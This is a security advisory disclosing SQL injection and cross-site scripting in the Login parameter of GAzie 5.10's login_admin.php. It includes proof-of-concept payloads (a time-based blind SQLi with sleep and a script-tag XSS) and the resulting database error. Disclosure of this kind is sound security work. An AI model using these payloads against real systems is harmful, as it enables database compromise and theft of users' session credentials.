GAzie 5.10 (Login parameter) Multiple Remote Vulnerabilities


Vendor: Antonio de Vincentiis
Product web page: http://www.devincentiis.it, http://gazie.sourceforge.net
Affected version: 5.10

Summary: GAzie is a multi-company management program (ERP)
that runs on Apache web server with support for PHP and
Mysql database. Open Source web-based application for small
and medium enterprises.

Desc: GAzie is prone to a cross-site scripting and an SQL Injection
vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in
the browser of an unsuspecting user in the context of the affected site.
This may allow the attacker to steal cookie-based authentication credentials
and to launch other attacks. Compromising the entire database structure and
executing system commands is possible thru malicious SQL queries. The issues
exist in the 'login_admin.php' script thru the 'Login' parameter.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41

Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
                             liquidworm gmail com
                             Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2011-4995
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4995.php


04.02.2011


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POST /gazie/modules/root/login_admin.php HTTP/1.0

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Content scenarios:

1.(SQLi):         Login=1[SQLi]&Password=test&actionflag=Login
2.(bSQLi-timing): Login=lqwrm'+or+sleep(5)%23&Password=test&actionflag=Login
3.(XSS):          Login=1"><script>alert(1)</script>&Password=test&actionflag=Login

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Error gaz_dbi_get_row: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

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